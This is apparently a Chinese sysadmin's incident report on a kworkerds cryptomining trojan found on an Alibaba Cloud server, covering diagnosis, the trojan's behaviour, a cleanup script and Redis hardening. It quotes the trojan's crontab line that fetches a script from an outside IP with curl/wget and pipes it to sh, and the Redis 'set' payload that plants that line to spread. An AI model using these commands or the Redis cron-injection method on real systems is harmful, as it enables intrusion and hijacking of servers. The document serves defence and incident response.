一、起因
今天，同事说我负责的模块在阿里云上不工作了，我赶忙远程登录查看。
1. 服务器的症状
- 敲命令的时候，终端的字符回传很快，但是命令的响应时间较长;
- 服务器内存32GB，剩余200MB;
- CPU跑到了99%;
- 我负责的模块之前一直工作正常，稳定性好，没修改过配置，但现在不能工作;
- 查看我负责的模块配置正常、运行正常，但部分服务出错;
- top命令未发现有高耗CPU的进程，但是有大量的kworkerds进程。
2. 定位分析
病症1、3、6说明是阿里云服务器已经产生了异常。
根据病症4、5一步步梳理流程，核对日志，定位问题，最终发现，redis可以正常提供服务，但程序无法将数据刷新到redis，导致分别负责读写的两个模块数据长时间不能同步，重启redis后服务正常。但问题需要进一步分析。
二、查找木马
服务器是与别人共用的，其他的服务，我们不知道是否有用。但服务器卡顿，实在影响调试效率，搜索了一下kworkerds，才知道是个挖矿的木马程序。
查看木马进程数
- [root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
- 385
kill掉所有木马进程
- [root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
查看开机启动项和任务
- [root@XXX ~]# systemctl list-unit-files
- (没发现问题，就不贴进来了)
- [root@XXX ~]# cat /etc/rc.local
- (没发现问题，就不贴进来了)
- [root@XXX ~]# cat /etc/crontab
- ...
- 01 * * * * root run-parts /etc/cron.hourly
- 02 4 * * * root run-parts /etc/cron.daily
- 0 1 * * * root /usr/local/bin/dns
- [root@XXX ~]# crontab -l
- */23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
“/etc/crontab”里的内容看起来好像是正常，但是“crontab -l”中显示的内容有些来路不明。
于是下载代码查看
- [root@xxx ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
- (木马的代码我就不贴进来了)
限于篇幅，木马的代码就不展示在此了，大家可以自行下载查看，记住，下载的时候要把"|sh"去掉，当心玩火自焚。
三、分析木马
木马脚本写得还是不错的，风格整齐，逻辑严谨。出色地完成了以下功能：
- 删除阿里云云盾客户端和阿里云监控程序;
- 停止、删除主机已经存在的其他挖矿程序;
- 下载挖矿程序和配置文件并执行;
- 约束木马程序，防止触发服务器性能监测工具告警;
- 设置任务计划，保持更新，持续感染主机;
- 通过本机感染其他主机;
- 清空操作日志，篡改文件修改时间，隐藏自己的访问踪迹。
木马中同时用了shell和python两种脚本，脚本逐层嵌套，对于一些敏感的代码，使用了base64进行加密，针对不同的系统平台有不同的处理，同时锁定了自己修改的文件，防止被别的程序随意修改，提供远程服务的IP地址来自非洲东部的塞舌尔共和国。
四、木马是如何传播的
1. 传播方式
木马传播方式有三种，如下：
- activeMQ
- redis
- ssh的免密码登录
2. 传播思路
木马感染的步骤如下：
- 通过扫描"xxx.xxx.0.0/16"网段内的所有IP的6379和8186两个端口;
- 如果可以连接，那么以key-value的形式写入数据;
- 'set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n'
- 将该条数据以文件的形式保存到定时任务的文件目录，如/var/spool/cron/root等;
- 下个定时周期到来时，服务器自动下载远程脚本并执行;
- 遍历该主机可以免密码登录的其他主机，远程连接并执行代码。
远程脚本执行时，会重新修改定时任务等文件，保证可以持续感染主机，同时也隐藏了第一次感染的痕迹。之后每个定时周期到来时，都会重复4、5两个步骤。
3. 排查漏洞
服务器中没有activeMQ,没有.ssh文件夹。小编也根据代码流程，感染了一下自己的redis，但是并没有达到预期的结果。
本人用的redis文件保存的时候是二进制的，不是字符串，根本无法被定时任务执行，但是修改感染脚本，可以完成黑客设置的既定思路。
结合阿里云之前修改过密码的情况，本次感染可能有两种来源：
- 以前发现了被感染，但木马没有被清理干净;
- 木马作者会定期修改自己的代码来感染不同版本的redis，甚至是去利用其它软件的漏洞。
另外一个代码变动的证据就是netstat命令的二进制文件遭到篡改，这显然是为了应对运维人员排查异常网络连接而设计的，但本次检查木马代码时，并没有发现与netstat命令有关的操作。
五、清理木马
清理过程分两步：删除木马文件和修补当前漏洞。
1. 删除木马文件
根据木马的代码，写了清理脚本，如下：
- #!/bin/bash
- ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
- chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
- echo "" > /usr/local/bin/dns
- echo "" > /etc/cron.d/root
- echo "" > /etc/cron.d/apache
- echo "" > /var/spool/cron/root
- echo "" > /var/spool/cron/crontabs/root
- rm -rf /etc/cron.hourly/oanacroner
- rm -rf /etc/cron.daily/oanacroner
- rm -rf /etc/cron.monthly/oanacroner
- sed -i '/cron.hourly/d' /etc/crontab
- sed -i '/cron.daily/d' /etc/crontab
- sed -i '/usr\/local\/bin\/dns/d' /etc/crontab
- #sed -i '$d' /etc/ld.so.preload
- rm -rf /usr/local/lib/libntpd.so
- #/tmp/.a可以不删,木马是通过此文件判断是否要卸载阿里云盾
- #rm -rf /tmp/.a
- rm -rf /bin/kworkerds
- rm -rf /tmp/kworkerds
- rm -rf /usr/sbin/kworkerds
- rm -rf /etc/init.d/kworker
- chkconfig --del kworker
脚本仅供大家参考，在执行之前还是要对照一下具体的环境。
除此之外，还需要排查一下系统中是否有异常用户，异常的服务和异常的监听端口。毕竟服务器被入侵过，绝不能等闲视之。
2. 修补漏洞
以redis为例，修补漏洞有很多种方法：
- 限制端口，使其对外不可连接;
- 不要使用root运行reids;
- 及时更新软件，修补漏洞;
- 修改默认端口;
- 对重要命令重命名;
关于这个问题，阿里云也有详细的安全加固方案：
https://help.aliyun.com/knowledge_detail/37447.html?spm=a2c4g.11186631.2.3.29131848FutMrC
编者的话
黑客一词听起来感觉酷酷的，因为世界上确有一批崇尚用技术实现“开放、自由、真实、平等、美好生活”的人，他们离经叛道，闪闪发光。然而，通常情况下非法获取利益的黑客仅仅是一个小偷而已，喜欢的是不劳而获，而不是技术本身，技术水平也只能是一般。
希望大家从技术交流，防范风险的角度看待文中提供的木马资料，不要走上违法犯罪的道路。从另一个角度讲，信息安全无小事，文中的木马仅仅是挖矿，事实上，该漏洞足以让黑客在你的服务器上做任何事，大家万万不可掉以轻心。
